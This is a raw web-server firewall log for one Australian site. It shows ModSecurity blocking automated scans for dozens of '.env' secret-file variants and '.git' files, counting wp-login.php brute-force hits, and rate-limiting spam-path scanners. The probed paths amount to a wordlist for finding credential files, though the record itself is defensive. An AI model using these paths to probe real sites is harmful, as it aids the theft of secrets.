[Tue Apr 21 14:17:00.030101 2026] [:error] [pid 35321:tid 35387] [client 3.74.168.239:50232] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/public/.env"] [unique_id "aecWXDeHLhVUuu8cVXyDGwAAAEM"]
[Tue Apr 21 14:17:00.988015 2026] [:error] [pid 4777:tid 4792] [client 3.74.168.239:50246] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env"] [unique_id "aecWXKxXur6bykKyLZRmpwAAAQQ"]
[Tue Apr 21 14:17:01.945467 2026] [:error] [pid 4823:tid 4857] [client 3.74.168.239:50248] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/backend/.env"] [unique_id "aecWXfc8mke3PfHqsxFwugAAAYQ"]
[Tue Apr 21 14:17:02.901976 2026] [:error] [pid 35322:tid 35357] [client 3.74.168.239:50252] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/server/.env"] [unique_id "aecWXqPoAfV40BTfVKypbQAAAIA"]
[Tue Apr 21 14:57:58.913197 2026] [:error] [pid 35415:tid 35442] [client 185.194.178.13:43187] [client 185.194.178.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aecf9kiqDinI4_22zzhGtAAAAM8"]
[Tue Apr 21 15:55:50.968311 2026] [:error] [pid 35321:tid 35391] [client 15.228.87.145:58094] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aecthjeHLhVUuu8cVXzJxAAAAEc"]
[Tue Apr 21 15:55:55.168299 2026] [:error] [pid 35320:tid 35349] [client 15.228.87.145:35572] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aecti4JW6fdXWO6agMEorQAAABM"]
[Tue Apr 21 15:55:56.624486 2026] [:error] [pid 35320:tid 35335] [client 15.228.87.145:35574] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aectjIJW6fdXWO6agMEosAAAAAU"]
[Tue Apr 21 15:55:58.082648 2026] [:error] [pid 4823:tid 4853] [client 15.228.87.145:35590] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aectjvc8mke3PfHqsxHMwAAAAYA"]
[Tue Apr 21 15:55:59.542361 2026] [:error] [pid 35320:tid 35352] [client 15.228.87.145:35594] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aectj4JW6fdXWO6agMEotgAAABY"]
[Tue Apr 21 15:56:01.009859 2026] [:error] [pid 35320:tid 35343] [client 15.228.87.145:35610] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aectkYJW6fdXWO6agMEovwAAAA0"]
[Tue Apr 21 15:56:02.475416 2026] [:error] [pid 4777:tid 4809] [client 15.228.87.145:59288] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aectkqxXur6bykKyLZSMAAAAARU"]
[Tue Apr 21 15:56:03.933395 2026] [:error] [pid 53832:tid 53855] [client 15.228.87.145:59300] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "aectk9zkuxsE_OhM9UIsrQAAAlQ"]
[Tue Apr 21 15:56:07.109152 2026] [:error] [pid 53731:tid 53735] [client 15.228.87.145:59310] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aectl12I9THUR-bRVGziTQAAAgA"]
[Tue Apr 21 15:56:08.563026 2026] [:error] [pid 35322:tid 35373] [client 15.228.87.145:59318] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aectmKPoAfV40BTfVKzH0wAAAJA"]
[Tue Apr 21 15:56:10.024540 2026] [:error] [pid 35321:tid 35385] [client 15.228.87.145:59332] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aectmjeHLhVUuu8cVXzJ2wAAAEE"]
[Tue Apr 21 15:56:11.489141 2026] [:error] [pid 35320:tid 35340] [client 15.228.87.145:44532] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aectm4JW6fdXWO6agMEoywAAAAo"]
[Tue Apr 21 15:56:12.945309 2026] [:error] [pid 35320:tid 35342] [client 15.228.87.145:44544] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aectnIJW6fdXWO6agMEozgAAAAw"]
[Tue Apr 21 15:56:14.404719 2026] [:error] [pid 53832:tid 53844] [client 15.228.87.145:44548] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "aectntzkuxsE_OhM9UIs1wAAAkk"]
[Tue Apr 21 15:56:15.864069 2026] [:error] [pid 35321:tid 35403] [client 15.228.87.145:44560] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.stage"] [unique_id "aectnzeHLhVUuu8cVXzJ8AAAAFM"]
[Tue Apr 21 15:56:17.319576 2026] [:error] [pid 4777:tid 4797] [client 15.228.87.145:44576] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.ci"] [unique_id "aectoaxXur6bykKyLZSMIgAAAQk"]
[Tue Apr 21 15:56:18.779997 2026] [:error] [pid 4823:tid 4867] [client 15.228.87.145:44586] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "aectovc8mke3PfHqsxHM2wAAAY4"]
[Tue Apr 21 15:56:20.240620 2026] [:error] [pid 53832:tid 53859] [client 15.228.87.145:44598] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.live"] [unique_id "aectpNzkuxsE_OhM9UIs4wAAAlg"]
[Tue Apr 21 15:56:21.702989 2026] [:error] [pid 54080:tid 54098] [client 15.228.87.145:46918] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.preprod"] [unique_id "aectpYzEbQHHxtmWbaZjqQAAAtA"]
[Tue Apr 21 15:56:23.167936 2026] [:error] [pid 54080:tid 54088] [client 15.228.87.145:46930] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.uat"] [unique_id "aectp4zEbQHHxtmWbaZjswAAAsY"]
[Tue Apr 21 15:56:24.633927 2026] [:error] [pid 53832:tid 53841] [client 15.228.87.145:46932] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "aectqNzkuxsE_OhM9UIs8gAAAkY"]
[Tue Apr 21 15:56:26.093615 2026] [:error] [pid 53832:tid 53850] [client 15.228.87.145:46942] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.swp"] [unique_id "aectqtzkuxsE_OhM9UItCAAAAk8"]
[Tue Apr 21 15:56:27.549303 2026] [:error] [pid 53832:tid 53859] [client 15.228.87.145:46946] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "aectq9zkuxsE_OhM9UItEQAAAlg"]
[Tue Apr 21 15:56:29.006221 2026] [:error] [pid 53731:tid 53755] [client 15.228.87.145:46956] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aectrV2I9THUR-bRVGziXAAAAhM"]
[Tue Apr 21 15:56:30.462666 2026] [:error] [pid 54080:tid 54104] [client 15.228.87.145:46972] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/apps/.env"] [unique_id "aectrozEbQHHxtmWbaZjxwAAAtY"]
[Tue Apr 21 15:56:31.923867 2026] [:error] [pid 54080:tid 54103] [client 15.228.87.145:55368] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "aectr4zEbQHHxtmWbaZjzwAAAtU"]
[Tue Apr 21 15:56:33.383812 2026] [:error] [pid 53832:tid 53847] [client 15.228.87.145:55370] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "aectsdzkuxsE_OhM9UItJQAAAkw"]
[Tue Apr 21 15:56:34.842269 2026] [:error] [pid 53832:tid 53837] [client 15.228.87.145:55384] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "aectstzkuxsE_OhM9UItLgAAAkI"]
[Tue Apr 21 15:56:36.297907 2026] [:error] [pid 53832:tid 53849] [client 15.228.87.145:55392] [client 15.228.87.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "aecttNzkuxsE_OhM9UItPAAAAk4"]
[Tue Apr 21 16:05:58.590115 2026] [:error] [pid 35415:tid 35450] [client 164.90.143.116:54695] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aecv5kiqDinI4_22zzhcgQAAANc"]
[Tue Apr 21 16:06:01.020016 2026] [:error] [pid 53832:tid 53842] [client 164.90.143.116:65342] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aecv6dzkuxsE_OhM9UIymQAAAkc"]
[Tue Apr 21 16:59:10.922775 2026] [:error] [pid 35321:tid 35400] [client 5.255.99.123:36744] [client 5.255.99.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aec8XjeHLhVUuu8cVXzseQAAAFA"]
[Tue Apr 21 16:59:10.926034 2026] [:error] [pid 35321:tid 35408] [client 5.255.99.123:36774] [client 5.255.99.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aec8XjeHLhVUuu8cVXzsegAAAFg"]
[Tue Apr 21 18:22:40.193310 2026] [:error] [pid 54080:tid 54103] [client 45.55.73.8:58227] [client 45.55.73.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.73.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aedP8IzEbQHHxtmWbaaS_AAAAtU"]
[Tue Apr 21 18:22:42.982913 2026] [:error] [pid 35320:tid 35334] [client 45.55.73.8:55916] [client 45.55.73.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.73.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aedP8oJW6fdXWO6agMFxSgAAAAQ"]
[Tue Apr 21 18:23:25.472684 2026] [:error] [pid 35320:tid 35343] [client 43.135.135.57:53836] [client 43.135.135.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aedQHYJW6fdXWO6agMFxbAAAAA0"]
[Tue Apr 21 19:45:13.278102 2026] [:error] [pid 53978:tid 54000] [client 193.70.44.235:54386] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aedjSZ1ivsR4hcOSQbYLzQAAApQ"]
[Tue Apr 21 19:45:15.712353 2026] [:error] [pid 35320:tid 35339] [client 193.70.44.235:52390] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aedjS4JW6fdXWO6agMGazwAAAAk"]
[Tue Apr 21 19:45:18.163693 2026] [:error] [pid 35321:tid 35394] [client 193.70.44.235:52406] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aedjTjeHLhVUuu8cVXxkOwAAAEo"]
[Tue Apr 21 19:45:20.578902 2026] [:error] [pid 53731:tid 53741] [client 193.70.44.235:52420] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aedjUF2I9THUR-bRVGxJDAAAAgY"]
[Tue Apr 21 19:45:22.930313 2026] [:error] [pid 35321:tid 35408] [client 193.70.44.235:48684] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aedjUjeHLhVUuu8cVXxkSQAAAFg"]
[Tue Apr 21 19:45:25.357665 2026] [:error] [pid 4777:tid 4803] [client 193.70.44.235:48690] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aedjVaxXur6bykKyLZSjaQAAAQ8"]
[Tue Apr 21 19:45:27.775632 2026] [:error] [pid 35321:tid 35400] [client 193.70.44.235:48700] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aedjVzeHLhVUuu8cVXxkYQAAAFA"]
[Tue Apr 21 19:45:30.175595 2026] [:error] [pid 35415:tid 35442] [client 193.70.44.235:48712] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aedjWkiqDinI4_22zzhtnAAAAM8"]
[Tue Apr 21 19:45:32.561881 2026] [:error] [pid 35322:tid 35381] [client 193.70.44.235:40940] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aedjXKPoAfV40BTfVKzXmQAAAJg"]
[Tue Apr 21 19:45:34.975281 2026] [:error] [pid 53832:tid 53858] [client 193.70.44.235:40956] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aedjXtzkuxsE_OhM9UJftwAAAlc"]
[Tue Apr 21 19:45:37.500556 2026] [:error] [pid 35321:tid 35391] [client 193.70.44.235:40970] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aedjYTeHLhVUuu8cVXxkgQAAAEc"]
[Tue Apr 21 19:45:39.888436 2026] [:error] [pid 35320:tid 35347] [client 193.70.44.235:40978] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aedjY4JW6fdXWO6agMGa6gAAABE"]
[Tue Apr 21 19:45:42.432813 2026] [:error] [pid 54080:tid 54100] [client 193.70.44.235:39296] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aedjZozEbQHHxtmWbaanCQAAAtI"]
[Tue Apr 21 19:45:44.796604 2026] [:error] [pid 35322:tid 35366] [client 193.70.44.235:39300] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aedjaKPoAfV40BTfVKzXnAAAAIk"]
[Tue Apr 21 19:45:47.031880 2026] [:error] [pid 54080:tid 54106] [client 193.70.44.235:39304] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aedja4zEbQHHxtmWbaanCgAAAtg"]
[Tue Apr 21 19:45:49.432588 2026] [:error] [pid 35321:tid 35402] [client 193.70.44.235:39308] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aedjbTeHLhVUuu8cVXxkmAAAAFI"]
